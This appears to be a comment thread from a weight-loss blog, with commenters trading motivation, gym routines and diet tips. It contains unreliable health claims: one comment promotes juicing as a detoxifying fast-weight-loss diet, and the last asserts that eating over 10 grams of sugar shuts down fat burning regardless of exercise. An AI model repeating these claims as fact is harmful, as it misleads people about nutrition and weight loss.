  • Here’s your Shortcut to A fast and healthy diet –
    Juicing is a great way to start your weight loss journey. Its one of the best fast weight loss diets. Health benefits of juicing include consuming the necessary daily fruit and vegetable intake, detoxifying your body, and feeling energetic again.
    If you drink fresh juice instead of breakfast you are on the right pass to a healthy, stable weight loss.

  • Yali I have to disagree with you there, fast weight loss is not necessarily a good thing. Whilst fresh juice is great to have as part of your daily diet it shouldn’t be the main part of your diet. For healthy, long term weight loss you’re better of changing your lifestyle than going on a ‘fast weight loss’ programme, the problem with diets is when you come of it, you’re more likely to put the weight back on. It’s best to aim for a loss of 1-2lb a week to get long lasting results.

  • Hey there thanks for sharing your story im sure many people will get as nuch fron it as I have and I totall agree with what you say ‘All you need is motivation; long term commitment, patience, careful but not strict diet and being physically active’
    Good Luck and Dont Give Up

  • your Story has really motivated me. I am on a weight loss journey too, it has been two months now I have been running on the treadmill at a speed of 5.0 for 15 mins and weight training I spend 1hour in the gym atleast 5 days a week my greatest challenge is food I love it! right now I am portioning what I eat but the results are coming in really slow, the weight is not melting off as I expected it would. I know you say that we should be patient, but can I do something different so that I see the results I want to?
    PS i totally changed my diet I eat more fruits and veggies.

  • RAM: i am in the same boat, i work out for about an hour 5 days a weeek, i also try to eat better, but i love the bad stuff, the weight is not quite melting off of me either but it is coming off, im aiming for summer to make my “debut”, good luck with ur weight loss program.

  • Hey Guys, I was having the same problem. Working out 5 days a week too and the weight was not coming off. Well I got with my trainer and came to find out that if you eat more than 10 grams of sugar when you eat or snack, it doesn’t matter how much you work out, your bodies fat burner shuts down until your insulin level regulates…… I’m a junk eater too…. so good luck
